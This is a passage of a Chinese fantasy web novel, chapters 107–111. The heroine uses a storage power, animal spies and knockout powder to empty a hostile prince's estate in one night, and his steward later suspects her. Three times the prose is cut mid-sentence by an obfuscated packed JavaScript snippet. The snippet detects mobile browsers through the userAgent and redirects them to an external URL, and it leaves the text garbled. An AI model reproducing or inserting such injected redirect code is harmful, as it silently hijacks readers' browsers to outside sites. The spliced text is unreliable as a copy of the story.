林芷柔伸手抚平他紧皱的眉头,语气平静:“不必了。你的人就得自己留着,我自有办法应对。” “柔柔!”楚星河一把抓住她的手,轻轻贴在自己脸上。他的掌心温暖而粗糙,带着习武之人特有的茧子。“据我所知,秦面罗刹是黑鹰帮国的六皇子李远龙。你弄伤了他的腿,他绝对不会就此罢休。我倒无所谓,但你是他的主要目标。楚云楚雨武功不错,有他们在你身边我才能安心。” 林芷柔挣开他的手,缓步走到窗边的椅子上坐下。 “楚星河,既然你知道我有秘密,觉得让两个外人在我身边合适吗?” 楚星河愣在原地,随即意识到自己考虑不周。他的柔柔确实有不为人知的秘密,连父母都得瞒着,又怎会对楚云楚雨毫无防备? 他走到林芷柔面前蹲下,与她平视:“那我陪着你吧。白天我去处理公务,晚上为你守夜。” “不用。”林芷柔摇头,目光平静如水,“秦面罗刹武功再高,不也被我废了双腿?我自有保命的手段,任他武功盖世,在我面前也只能俯首称臣。” 楚星河好奇地看着她:“你有什么招数?难道你的武功不差?可我看你虽然力气不小,身手也还行,却没有内力。短时间还好,长久恐怕难以支撑。秦面罗刹的功夫虽不是顶尖,也算是个佼佼者。你竟然能废掉他的双腿,实在令我费解。” 林芷柔嘴角勾起一抹神秘的笑意:“我若把底牌都亮出来,你会不会日后算计我?” “绝不会。”楚星河神色郑重,“你可是我千方百计求来的,还救了我的命呢,为我们楚家带来无上荣耀,我怎么舍得算计你?我只是担心你的安全。秦面罗刹虽然自己不能动手,但难保不会派人来寻仇。” 林芷柔目光一转,看向桌面。只见上面突然多了一个陌生的物件,她拿起来在楚星河面前晃了晃:“看到了吗?这就是我的秘密。我能随心所欲地取物收物。” 楚星河瞪大眼睛,不可思议地看着那突然出现的东西。月光下,他的表情显得有些滑稽。 “别惊讶,”林芷柔语气轻松,“我能将想要的东西收走,需要时再取出来。这个能力很特别,不是吗?” 楚星河仔细打量着那个物件,眼中充满好奇:“这是什么?用来发射暗器的?” “可以这么说,不过它比一般暗器厉害多了。”林芷柔熟练地拉开**,退出里面的**,将空枪递给楚星河,“你可以看看。” 楚星河接过来左看右看,却不明白这东西如何使用。他试着掂了掂重量,又仔细观察了机关结构,最后还是一头雾水。 “你就是用它废了秦面罗刹的腿?” “没错。”林芷柔点头,语气中带着几分自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15595243|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豪,“它的威力很强,速度极快。不论对方武功如何,只要瞄准就能命中。唯一的缺点是很难复制。” 楚星河若有所思地点点头,目光在林芷柔脸上流连。月光下,她的侧脸线条柔和而坚毅,眼神中透着说不清道不明的神秘。 林芷柔看着他若有所思的样子,不禁莞尔。她接过枪,将**一颗颗装回去,动作娴熟而优雅。 “我不会有事的。”她拉好**,让萤萤收回锦囊,“对了,你说你的身体养得不错?能不能带我去个地方转转?我想亲自去见见那位秦面罗刹,去探查一下他的住处。” “当然可以。”楚星河欣然应允,眼中跃跃欲试。 两人把房门关好,来到无人的街道上。楚星河轻轻抱起林芷柔,一个腾空,朝金泰钱庄方向飞去。 夜风拂面,林芷柔的长发在空中飘扬。她紧紧搂着楚星河的脖子,感受着他身上传来的温度。月光洒在两人身上,在地上投下一道交织的影子。 不知为何,林芷柔心中突然涌起一丝异样的感觉。也许是因为这样亲密的姿势,也许是因为夜风中若有若无的檀香,又或许是因为楚星河眼中那抹藏不住的温柔。 她偷偷看了眼楚星河的侧脸,发现他正专注地看着前方,眉宇间带着几分坚毅。月光为他的轮廓镀上一层银边,衬得整个人越发俊朗。 “柔柔,”楚星河突然开口,声音在风中显得格外清晰,“你放心,我一定会保护好你。” 林芷柔没有回答,只是将头轻轻靠在他的肩膀上。她的嘴角勾起一抹若有若无的笑意。 林芷柔依偎在楚星河怀中,感受着微风拂面,心中说不出的畅快。高空中的景色令人心旷神怡,远处灯火阑珊,近处月光如水,将整座城池笼罩在一片朦胧的银辉之中。 “楚星河,你的轻功真是太厉害了!”她仰起小脸,眼中闪烁着兴奋的光芒,声音中带着掩饰不住的欢快,“要是我也会飞就好了。” 第一百零七章 灵宠密探 楚星河低头看着怀中的人儿,她的发丝被风吹得轻轻飘动,眼中盈满笑意,整个人都散发着青春的活力。他心中暗自庆幸能遇到这样一个人,轻声道:“不会飞也没关系,我带你。” “这可是你自己说的,以后不许反悔。”林芷柔眨了眨眼睛,语气中带着几分俏皮。 “怎么会反悔?”楚星河嘴角微扬,“能带着你飞,是我的福气。” 林芷柔心中一暖,从储物锦囊取出一杯水,上面还贴心地插了根吸管。水杯在月光下泛着莹莹光芒,杯壁上还凝结着细密的水珠:“喝点水吧,别累着。这可是我特制的仙露泉,能补充体力。” 楚星河低头轻啜一口,清凉甘甜的液体入喉,顿时感觉浑身舒畅,力量充沛。他忍不住又喝了一大口,惊叹道:“柔柔,你这水当真神奇。一口下去,就感觉全身都轻松了。” “那是当然。”林芷柔得意地扬起下巴,“以后你要带我飞,我就给你喝。这可是我珍藏的仙露泉,别人想喝都喝不到呢。” 看着她骄傲的小模样,楚星河心中一动,脚下发力,带着怀中人儿直冲云霄。微风呼啸而过,仿佛云层在眼前飞速掠过,整个世界都在脚下。 “哇!”林芷柔惊呼一声,“这也太美了吧!我从来没想过能离星星这么近!”她兴奋地东张西望,像个第一次见到新奇事物的孩子。 看着她脸上纯真的笑容,楚星河心中一片柔软。平日里总是一副小大夫模样的柔柔,此刻终于展现出了少女应有的天真烂漫。月光下,她的侧脸格外动人,眼中闪烁的光芒比星辰还要璀璨。 就在两人沉浸在这甜蜜时刻,一道小小的身影突然飞了过来。那是一只通体墨黑的小鸟,正是林芷柔的灵宠灰羽。它扑闪着翅膀,焦急地叫道:“主人!主人!” 林芷柔立刻回过神来,神色也变得严肃:“灰羽,你娘在哪?” “跟我来!”灰羽在前方带路,时不时回头确认两人是否跟上。 在灰羽的带领下,两人很快找到了目的地。那是一座富丽堂皇的宅院,此时正笼罩在夜色之中,显得格外幽深。楚星河轻轻落在屋顶,将林芷柔放下。瓦片上还残留着白天的余温,他们蹲在屋脊上,观察着院中的情况。 “你说要给秦面罗刹一个教训?”楚星河低声问道,目光警惕地扫视四周。 林芷柔露出一抹狡黠的笑容:“他既然敢来找我麻烦,那我自然要让他吃点苦头。这次我要让他知道,得罪我的下场。” 一只油光水滑的老鼠悄然出现在屋顶,恭敬地向林芷柔行礼。这是她的另一只灵宠老七,擅长潜行探查:“主人,我已经查清楚了,他们的财物都存放在后院地窖里。那里有两个守卫,每隔一个时辰换班一次。” “带路。”林芷柔轻声吩咐。 楚星河刚要抱起林芷柔,却突然皱眉。他察觉到院中有三道气息正在快速移动:“柔柔,我先去解决他们。你在这里等我。” “好,小心点。”林芷柔点点头,她知道楚星河的身手。 看着楚星河的身影消失在楚色中,林芷柔轻轻摸了摸老鼠的脑袋,低声问道:“老七,你说他是不是特别厉害?” “是啊主人。”老七用爪子整理着胡须,“男主人的轻功当真了得,我还从未见过如此轻盈的身法。” “嘘,小声点。”林芷柔做了个噤声的手势,目光却不自觉地追随着楚星河消失的方向,“我们等他回来。” 院中很快传来几声轻微的闷响,随后恢复了平静。林芷柔蹲在屋顶,耐心等待着。 秦面罗刹也将为他的所作所为付出代价。林芷柔摸了摸腰间的药囊,嘴角勾起一抹冷笑。她准备了几种特制的药粉,保证能让秦面罗刹这几天都不好过。 突然,灰鼠七缩成一团,毛茸茸的身子微微颤抖。它不时偷瞄着不远处的玄猫五,每当对上那双金色的眸子,就赶紧把脑袋埋进爪子里。 “真是个胆小鬼。”林芷柔轻声笑道,伸手摸了摸灰鼠七的脑袋。柔软的毛发从指尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600786|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 划过,带来一丝温暖。 林芷柔裹了裹身上的斗篷,目光警惕地扫视四周。 一道黑影悄无声息地落在她面前,正是玄猫五。它优雅地甩了甩尾巴,金色的瞳孔在楚色中闪烁着神秘的光芒。灰鼠七见状,立刻躲到了林芷柔的身后。 “主人。”玄猫五低声道,声音带着几分慵懒,“我刚从那边回来。” 林芷柔眼前一亮:“可有什么发现?” 玄猫五舔了舔爪子,慢条斯理地说:“那秦面罗刹最近很不安分,总是深夜独自出门。”它顿了顿,继续道,“而且,他那个侍女更是可笑,三天两头想往他房里钻,每次都被他踹出来。” “那侍女?”林芷柔皱眉思索,“是叫夏芷的那个?” “正是。”玄猫五眼中闪过一丝鄙夷,“那女人整日打扮得花枝招展,却不知自己在别人眼里有多可笑。” 灰鼠七在一旁小声道:“我、我也看见过...”话还没说完,就被玄猫五一个眼神吓得噤声。 林芷柔看着这一幕,忍俊不禁。她轻轻抚摸着玄猫五的背脊,柔声问道:“除此之外,还有什么特别的吗?” 玄猫五眯起眼睛,似乎在回忆:“昨日有只信鸽飞来,我问过那鸽子,它说是从帝都来的。不过那死鸽子嘴严得很,问不出更多细节。” “帝都?”林芷柔眼中精光一闪,“能确定是哪个方向吗?” “西北方向。”玄猫五说着,舔了舔爪子,“那鸽子身上还带着一股特殊的香味,像是宫中才有的凤馨香。” 林芷柔若有所思:“看来这秦面罗刹的背景不简单啊。” 远处突然传来脚步声,玄猫五耳朵一动,身形一闪,瞬间消失在夜色中。林芷柔也迅速躲到了阴影处。 片刻后,楚星河的身影出现在屋檐上。月光下,他的轮廓显得格外清晰。“都准备好了?”他低声问道。 “嗯。”林芷柔从阴影中走出,“灰鼠七已经探明了路线,库房就在前面。” 第一百零八章 寸草不留 楚星河轻轻落在她身边,伸手将她抱起。林芷柔能感受到他掌心传来的温度,不由得心跳加快。 两人在屋顶间穿行,月光下的身影如同两只灵巧的猫。前方隐约有火光晃动,是巡逻的护卫。火把的光芒在楚色中格外醒目。 “别担心。”楚星河低声说,“大不了就打一场。” 林芷柔从怀中掏出一包粉末,递给他:“用这个,省事。” 楚星河接过粉末,辨别了一下风向将其撒向护卫。粉末在空中飘散,几个呼吸间,护卫们就纷纷倒地。 林芷柔从楚星河背上跳下来,快速搜查护卫身上的物品。她的动作娴熟,显然不是第一次做这种事。 “都是些普通护院。”她轻声说,“看来秦面罗刹还是很谨慎的。” 灰鼠七在前面带路,穿过几条小径,很快就到了库房前。高大的库房在月光下显得格外阴森。 林芷柔从袖中掏出一根铜丝,三两下就打开了铜锁。楚星河在一旁看得目瞪口呆:“你还会这个?” “这算什么?”林芷柔得意一笑,“要不是为了低调,我能教你更多。” 库房里堆满了各种物品,在萤萤的收纳下,很快就消失得一干二净。灰鼠七躲在角落,看得瑟瑟发抖。它从未见过如此干脆利落的手段。 楚星河站在库房当中,目光呆滞地看着眼前这一幕。 昏暗的光线下,整个库房里的物品正在一件件消失,仿佛被某种无形的力量吞噬。木箱、布匹、瓷器,甚至连墙角堆放的杂物,都在悄无声息地化为虚无。空气中弥漫着一股诡异的气息,让人不寒而栗。 而他身边的林芷柔,却只是静静地站着,手指微张,神色平静得仿佛在欣赏一幅画作。 “柔柔...”楚星河的声音有些发涩,喉结微微滚动,“这些东西都去了哪里?” 林芷柔转过头,月光透过窗棂洒在她清丽的面容上,衬得她更添几分神秘。她缓步走到楚星河身边,樱唇轻启:“想知道吗?” 不等楚星河回答,她已经凑到他耳边,呼出的热气让他耳廓微红:“这就是我的秘密,要是你敢说出去...”她顿了顿,声音陡然冷了下来,“我就让你也消失。” 楚星河只觉得后背一阵发凉,但很快就镇定下来。他转身直视林芷柔的眼睛,声音坚定:“我不会说的,这种事确实不能让外人知道。” “你倒是明白。”林芷柔打量着他,目光中带着几分玩味,“要不是你已经是我的未婚夫,我也不会让你看到这些。反正以后要一起生活,早晚都瞒不住。” 楚星河突然将她抱起,感受到怀中人儿的温软,他大步向外走去:“我是你的人,知道这些再正常不过。就算死,我也不会泄露半个字。” 林芷柔搂着他的脖子,指尖不经意地划过他的喉结,嘴角勾起一抹意味深长的笑意:“看你这么懂事,给你点奖励。” “什么奖励?”楚星河低头看她,目光中带着几分期待。 话音未落,林芷柔已经在他脸上轻轻一吻,温软的唇瓣带着淡淡的香气。 楚星河脚步一顿,心跳漏了半拍。他低头在她唇上蜻蜓点水般碰了一下,声音低沉:“礼尚往来。” “少来这套。”林芷柔白了他一眼,眼波流转间带着几分娇嗔,“想亲我就直说,装什么正人君子。” 灰鼠七在前面带路,听着身后的打情骂俏,只觉得脊背发凉。它想起之前住处的那对主人,表面恩爱,实则暗藏杀机。每次想起那些血腥的场面,它都忍不住打个寒颤。 但眼前这对却让它感到不同。虽然那位小姐有着诡异的能力,但她看向少爷的眼神中,却带着真实的温度。 楚星河抱着林芷柔穿过庭院,月光下,所过之处,花草树木尽数消失。原本繁茂的花园,转眼间变得空荡荡的,只剩下光秃秃的土地。 “柔柔,你这本事也太厉害了。”楚星河看着这一幕,忍不住惊叹道。 林芷柔轻哼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600787|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声,语气中带着几分得意:“这算什么,秦面罗刹敢惹我,这点代价都算轻的。等着瞧吧,我要让他后悔招惹我。” “说得对,这是他自找的。”楚星河深以为然,“想去哪里,我都带你去。只要你开心,做什么都值得。” 他们跟着灰鼠七来到地下室,箱子还未打开就被收走。随后是粮仓、厨房、书房,一路横扫。每到一处,物品就会凭空消失,仿佛从未存在过。 灰鼠七看着这一幕,不禁想起当初李远龙是如何对待这些东西的。那些奢靡的用度,挥霍无度的作风,如今都化为乌有。它暗自庆幸,自己选对了主人。 来到李远龙的卧室时,楚星河立刻捂住林芷柔的眼睛:“别看,那家伙不值得。”他的声音中带着几分厌恶。 林芷柔心中暖意涌动,这个男人总是处处为她着想。她没告诉他,自己其实对男人的身体并不好奇,毕竟前世见得太多。但这些话不能说,在这个时代,有些事情还是要藏在心里。 “我们再转一圈,把能收的都收走。今晚连条裤衩都不给他留。”林芷柔靠在楚星河怀里,声音中带着几分慵懒,“让秦面罗刹尝尝什么叫绝望。” 楚星河抱着她继续行,月光下,两人的身影交织在一起,拉出长长的影子。灰鼠七跟在后面,看着这一幕,不知为何,心中竟生出几分期待。 他们走过一间间房室,所过之处,物品尽数消失。林芷柔的能力仿佛无穷无尽,就连墙上的字画、架子上的古董,都逃不过被收走的命运。 林芷柔靠在楚星河怀里,鼓着腮帮子的模样像只可爱的小河豚。 “你说,我们这样是不是太过分了?”她仰起头,眼中闪烁着狡黠的光芒,却又带着一丝不易察觉的迟疑。 楚星河低头看着怀中的人儿,忍俊不禁地学着她的样子鼓起脸颊:“怎么,我的小河豚这是心软了?”即便做出这般滑稽的表情,男人依旧俊美非常,仿佛连搞怪都带着几分与生俱来的贵气。 第一百零九章 难以置信 林芷柔伸手捏了捏他的脸颊,“噗”的一声,像是放了个响屁。她咯咯笑起来,笑声清脆悦耳,在寂静的楚色中格外动听。 “小坏蛋。”楚星河有些窘迫,但手上还抱着人,只好低头在她脸上亲了一口以示惩戒。“啵”的一声格外响亮,在安静的楚里显得尤为清晰。 “又占我便宜!”林芷柔瞪大眼睛,眼底却闪烁着愉悦的光芒。她佯装生气地挣扎着要从他怀里出来,却被楚星河抱得更紧了。 “那你也可以占回来。”楚星河挑眉,再次鼓起腮帮子,一副任君采撷的模样。月光下,他的侧脸轮廓分明,眼中带着几分宠溺与戏谑。 林芷柔嘴上说着“不要”,手却已经不老实地捏上了他的脸。两人对视一笑,眼中满是温柔。这一刻,仿佛整个世界都只剩下彼此。 萤萤在一旁尽职尽责地执行着主人的命令,将他们经过的地方一扫而空。珍贵的花木被连根拔起,精致的假山被整块搬走,就连清澈的池塘也被一滴不剩地收进锦囊。整个过程干净利落,没有发出一丝声响。 楚星河不敢回头看,生怕看到身后一片荒芜的景象。他的柔柔实在太可怕了,这种收刮的手段,怕是能把普通人吓得魂飞魄散。但在他眼里,这样的她反而更加迷人。能在谈笑间轻易制服敌人,这种实力令人心动。 “你说他们醒来会是什么表情?”林芷柔眨着大眼睛问道,语气中带着几分期待和恶作剧般的兴奋。 楚星河轻笑一声:“以李远龙那傲慢的性子,怕是要气得跳脚。”说着,他的目光落在远处的医馆,心中冷笑。那个自诩高贵的皇子,也该尝尝被人戏弄的滋味。 回到仁心医馆时,已是深夜。 李远龙是被冻醒的。他浑身发冷,睁眼时发现自己一丝不挂地躺在床上。更让他惊恐的是,床上的被褥、帐幔全都不见了,就连身上最后的遮蔽物都消失得无影无踪。 “掌灯!”他慌乱地喊道,声音中带着难以掩饰的惊慌。 柳川馨从地上爬起来,茫然地环顾四周。她记得自己是睡在外间的榻上,怎么会躺在冰冷的地板上?更诡异的是,屋内所有摆设都消失不见了,连最基本的桌椅都荡然无存。 “柳川馨!还不快掌灯!”李远龙压着怒气低吼,声音中带着一丝颤抖。 “是!”柳川馨慌忙应声,却在摸索中发现连烛台都不见了。她的心中升起一股莫名的恐惧,这种诡异的情况她从未遇到过。 整个房间空荡荡的,除了床什么都没有,就连窗帘都不翼而飞。月光毫无遮拦地照进来,将房间照得通亮,也将李远龙的窘态暴露无遗。 李远龙想下床找点遮蔽之物,却因腿脚不便重重摔在地上。“砰”的一声闷响,伴随着他痛苦的闷哼。 “公子!”柳川馨听到声响,下意识冲进来想扶他。 “别过来!”李远龙厉声喝止,“帮我找件衣服来!”他的声音中充满羞耻和愤怒,堂堂皇子,何曾受过这等屈辱? 柳川馨红着脸退出去找寻,却发现不仅屋内,就连院子里的花草树木都消失了。整个院子光秃秃的,仿佛被龙卷风席卷过一般。 “公子,不好了,所有东西都不见了!”她的声音中带着难以置信的惊慌。 李远龙咬牙切齿:“把你的衣服脱给我。”这句话几乎是从牙缝里挤出来的,每个字都带着刻骨的屈辱。 柳川馨迟疑着脱下外衣,只穿着肚兜和亵裤退了出去。寒风吹过,她不由得打了个寒颤,却不敢发出一点声响。 李远龙强忍着屈辱穿上女人的衣服。衣服对他来说明显小了一号,紧绷在身上十分不适。但此时他已顾不得这些,堂堂皇子,居然沦落到穿女人衣服的地步。 他发誓要找出那个胆大包天的贼人,将其碎尸万段! 李远龙靠在柳川馨身上,看着一无所有的屋子,脸色阴沉得快要滴出水来。他从未想过,自己有朝一日会遭遇如此奇耻大辱。 院子里,目光所及之处,一片狼藉。昨日还富丽堂皇的院落,此刻竟像被飓风席卷而过,只剩下光秃秃的房屋框架。 清晨的阳光透过残破的屋顶洒落,照在他赤裸的上身。微风吹过让他不由打了个寒颤,但更让他感到刺骨的,是这突如其来的变故。 青石板上还残留着拖拽重物的痕迹。库房的大门敞开着,里面空空如也,连个木箱都不剩。密室被人挖开一个大洞,里面堆放的金银珠宝消失得干干净净。书房的门框歪斜着,架子东倒西歪,珍贵的古籍典册不知去向。 院子里的花圃被翻得乱七八糟,连根草都不剩。就连屋檐下挂着的鸟笼也不见了踪影。 “这些人,还真是一点都不客气。”李远龙轻声自语,声音里带着一丝嘲讽。 柳川馨站在他身后不远处,只穿着单薄的肚兜和亵裤,瑟瑟发抖。她欲言又止,最终还是开口:“少爷,要不要报官?” “报官?”李远龙转过身,目光在她身上扫过,“你觉得云州的官府会管这事?” 柳川馨低下头,不敢与他对视。她知道李远龙说得对,在这云云州里,官府向来睁一只眼闭一只眼。更何况,能在一楚之间将整个院子搬空,还能让所有护院昏睡不醒的人,恐怕也不是普通人能惹得起的。 “去金泰钱庄,让管事立刻过来。”李远龙沉声说道,顿了顿又补充,“顺便支五十两银子,买几件衣服” 柳川馨低头看了看自己几乎赤裸的身子,面颊泛红。她正要转身离开,李远龙却已经脱下自己的中衣扔了过来。 “穿上,快去。” 接过还带着他体温的衣衫,柳川馨心跳不由加快。她偷瞄了一眼李远龙结实的背影,匆忙穿好衣服离开。 第一百一十章 得罪谁了? 巴老五站在院中,望着空荡荡的院子,眉头紧锁。晨光微熹,院中寂静得有些不同寻常。他缓步走到院子中央,蹲下身子,手指轻轻拂过地面,却连一丝尘土都未曾沾染。 这种诡异的事情,他这辈子还是头一回遇到。 一夜之间,院子里的东西全都消失不见,连根草都没剩下。不仅如此,就连地上的泥土都像是被人细细打扫过一般,干净得不留一丝痕迹。这绝非常人能为。 “巴管事!”柳川馨的声音从院外传来。 巴老五回过神,只见柳川馨抱着一大堆衣物匆匆走进院子,额头上还挂着细密的汗珠。她显然是快步赶来的,呼吸还有些急促。 “这么快就买来了?”巴老五连忙让开路。 柳川馨点点头,脸上带着几分焦急:“路上遇到熟识的绸缎铺掌柜,知道是给少爷买的,特意挑了几件成衣出来。” 巴老五跟在柳川馨身后走进屋内。李远龙正躺在床上,脸色苍白如纸,眼窝深陷。这位平日里意气风发的年轻主子,此刻狼狈不堪,连抬手的力气都没有。 “少爷,先把衣服换上吧。”柳川馨放轻声音说道,生怕惊扰了床上的人。 李远龙微微点头,目光中透着一丝疲惫。他想说些什么,却又像是提不起精神,只是轻轻闭上了眼睛。 巴老五识趣地退了出去,重新站在院子里。清晨的阳光洒在空荡荡的院子里,映出一片诡异的安静。 自从仁心医馆在云州开张,这里就接连发生怪事。先是庄子上的银锭被掉包,现在又是院子里的东西凭空消失。这背后究竟是什么人在作祟? 他在云州待了这么多年,对这里的世家门第都了如指掌。无论是明面上的手段,还是暗地里的手段,他都见识过不少。可这种诡异的手段,却是闻所未闻。 除了那位林大夫,还能有谁? 想到林大夫,巴老五不禁摇了摇头。那位年轻女子,医术高明,待人和善,每日早出晚归为百姓看病。就连那些穷苦人家看不起病,她也从不收取分文。这样的人,怎么看都不像是会做这种事的。 可若说不是她,这云云州又有谁有这等本事? 正当他陷入沉思,身后传来脚步声。 “巴管事。”柳川馨的声音打断了他的思绪,“少爷换好衣服了。” 巴老五连忙让人推来轮椅,小心翼翼地扶着李远龙坐上去。李远龙的脸色略微好了些,但仍显得十分虚弱。 “公子受惊了!”巴老五连忙上前,“我已经去问过护院,他们昨晚都被人迷晕了。据说连口水都没喝,就莫名其妙地睡着了。” 李远龙冷笑一声:“云州内,谁有这个本事?” 巴老五犹豫片刻,试探着问:“公子可曾去过仁心医馆?得罪过林大夫?” “昨日是去过,但......并未得罪于她。”李远龙眉头微皱,回想起林芷柔清冷的面容。 “那就奇怪了。”巴老五压低声音,左右张望了一下,“这手段,在云州,除了林大夫,还真想不出第二个人能做到。那位林大夫医术通神,但脾气古怪,城里但凡有点地位的人,都不敢轻易招惹她。” 李远龙眸光一闪:“你是说,昨晚的贼就是林大夫?” “不敢妄下定论。”巴老五连忙摆手,额头上渗出细密的汗珠,“只是提醒公子,在云州,还是不要与林大夫为敌的好。她背后的关系,错综复杂得很。” 李远龙沉默片刻,若有所思。片刻后,他吩咐道:“派人盯着仁心医馆,有任何异常立即报告。另外,注意城外动向,我们的信鸽也不见了。” “什么?连鸽子都......”巴老五惊呼出声,随即意识到失态,压低了声音,“那与帝都的联系......” “慌什么?”李远龙不悦道,“让帝都那边再送些过来就是。” 巴老五擦了擦额头的冷汗:“是,是。公子不如先移步别院,这边我立刻安排人手修缮。只是......”他欲言又止。 “有话直说。” “只是别院那边,可能也不太安全。”巴老五小心翼翼地说,“能在一夜之间做到这种程度的人,恐怕早就将公子的底细摸得一清二楚。别院怕是也......” 李远龙不由大怒,冷声问道:“你的意思是,我在云州已经无处可去了?” 巴老五连忙摇头:“不敢,不敢。只是提醒公子多加小心。这云州看似平静,实则暗流涌动。公子初来乍到,还是要多加防范。” 李远龙望着空荡荡的院子,眼中寒光闪烁。不管是谁,敢这样戏弄于他,总要付出代价。 巴老五在一旁欲言又止,最终还是开口:“公子,老朽斗胆问一句,您此次来云州,可是为了......” “不该问的别问。”李远龙打断他的话,“你只需要记住,我来此地,自有要事。至于其他人想要探听什么,就看他们有没有这个本事了。” 巴老五连忙点头:“是,是。老朽多嘴了。” 李远龙整理了一下衣袖:“去打听打听,林大夫平日都会见什么人,都跟什么人来往。另外,查一查她的来历。” “这......”巴老五面露难色,“林大夫的事,不太好查啊。之前也有人想打听,结果......” “结果如何?” “结果第二天就发现自己得了重病,卧床不起。”巴老五压低声音,“最后还是求到林大夫那里,花了大价钱才治好。从那以后,城里就再没人敢打听她的事了。” 李远龙轻笑一声:“所以,这位林大夫是在用这种方式立威?” 巴老五不敢接话,只是低着头。 “有意思。”李远龙有些玩味的说道,“那就更要查清楚了。去吧,小心行事。” 巴老五领命离去,临走时还是忍不住回头看了一眼。他总觉得,这位年轻的公子,似乎对这突如其来的变故并不像表面上那么平静。 院子里重新安静下来,只剩下李远龙和柳川馨。 “少爷......”柳川馨欲言又止。 “怎么?” “您真的要查林大夫吗?”柳川馨担忧地说,“我听说,她不只是个大夫,还......” 李远龙转过身,目光如炬:“还什么?” “没,没什么。”柳川馨慌忙低下头,“是我多嘴了。” 李远龙也没追问,只是淡淡地说:“去收拾一下,能用的东西都收起来。” 第一百一十一章 成亲准备 与此同时,仁心医馆。 林芷柔刚走下楼,就看见灰羽飞到她肩膀上。这只灵巧的小家伙总是能带来最新的消息。 “主人,灰鼠七说那人要派人监视咱们医馆。”灰羽轻声说道,声音里带着几分兴奋,“要不要让大家去教训他们?” 林芷柔轻抚灰羽的脑袋,嘴角勾起一抹浅笑:“不用,让大家盯着金泰钱庄和那个瘸子就行,其他的事先别管。” 灰羽有些失望地耷拉着脑袋:“可是主人,他们太嚣张了。” “现在还不是时候。”林芷柔的目光望向远处,“让他们先蹦跶几天。” 回到房间,她看见桌上多了个精致的锦盒。打开一看,里面躺着四颗子弹头,显然是从秦面罗刹身上取下来的。这些子弹头上还沾着些许血迹,散发着淡淡的腥气。 “处理掉吧,留着也没用。”她随手将锦盒递出。 锦盒瞬间消失不见,仿佛从未出现过。 林芷柔站在窗前,看着街上来来往往的行人。这云州的水,比她想象中要深得多。表面上看起来平静祥和,实则暗流涌动。每个人都在演着自己的戏,每个人都藏着不为人知的秘密。 另一边,林文昂正和楚九三说说笑笑地往庄子上走。 “九三哥,你看那边的果树,今年长势不错。”林文昂指着远处的果园说道。 楚九三笑着点头:“是啊,今年的收成应该不错。” 自从跟了林文昂,楚九三感觉自己找到了家的感觉。林公子待他如兄弟,从未将他视为下人。就连吃饭都是同桌而坐,这在其他大户人家是绝对不可能的事。 庄子上的一切都井井有条,这都要归功于大姐的管理之道。各个作坊都有专人负责,层层管理,不需要事事亲力亲为。就连账目都记得清清楚楚,每月都要核算一遍。 就连那些无家可归的乞丐,只要愿意,都能在庄子上找到容身之处。有的在作坊里做工,有的在地里种菜,虽然辛苦些,但总算有了安身立命的地方。 “对了,”楚九三突然想起什么,“听说宁家那边已经开始准备嫁妆了?” 林文昂闻言,脸上泛红,有些羞涩地说道:“是啊,说是下月就要送过来了。” 走在路上,想起即将到来的婚事,林文昂心中不禁有些忐忑。新房安排在医馆后院,这两天正在收拾,要把一些杂物先挪出来搬到庄子上去,把房子空出来,让新娘家摆嫁妆。 虽然房子收拾完也是干净整洁,但终究比不上宁家的规模。也不知宁家会不会介意。 楚九三似乎看出了他的心思,拍了拍他的肩膀:“宁小姐不是那种在意这些的人。” 林文昂点点头,心里却仍有些不安。他知道,虽然是宁家主动求娶的这门亲事,但在外人眼里仍然是他高攀了,背地里不知道要说多少闲话。 就在这时,远处传来一阵喧哗声。 “怎么回事?”林文昂皱眉问道。 楚九三快步走到前面打探,很快就回来了:“是钱庄那边又出事了。” 林文昂闻言,脸色微变:“又是金泰钱庄?” 楚九三点头:“听说是有人存的银子不见了,正闹着要钱庄负责。” “走,去看看。”林文昂加快脚步,向钱庄方向走去。 这已经是最近一个月内,金泰钱庄第三次出事了。每次都是存银无故消失,却查不出半点蛛丝马迹。 第二日,林文昂和楚九三两人忙活了大半天,总算将满院的杂物收拾得差不多了,将一辆马车装得满满当当。林文昂拍了拍手上的灰尘,跳上车架,冲楚九三喊道:“上车,咱们先把这些送到庄子去。” 马车在崎岖的山路上颠簸,楚九三抓着车沿,欲言又止地看着林文昂的背影。半晌,他终于忍不住开口:“你真打算就这么简单地成亲?” “怎么,你觉得不妥?”林文昂头也不回,语气轻快。 “可她毕竟是宁家嫡女...”楚九三的声音里带着几分担忧,“你这样简单操办,会不会太...” “嫡女怎么了?”林文昂打断他的话,手里的缰绳微微一紧,“人活着,不就是过日子吗?那些虚头巴脑的东西,有什么好讲究的。” 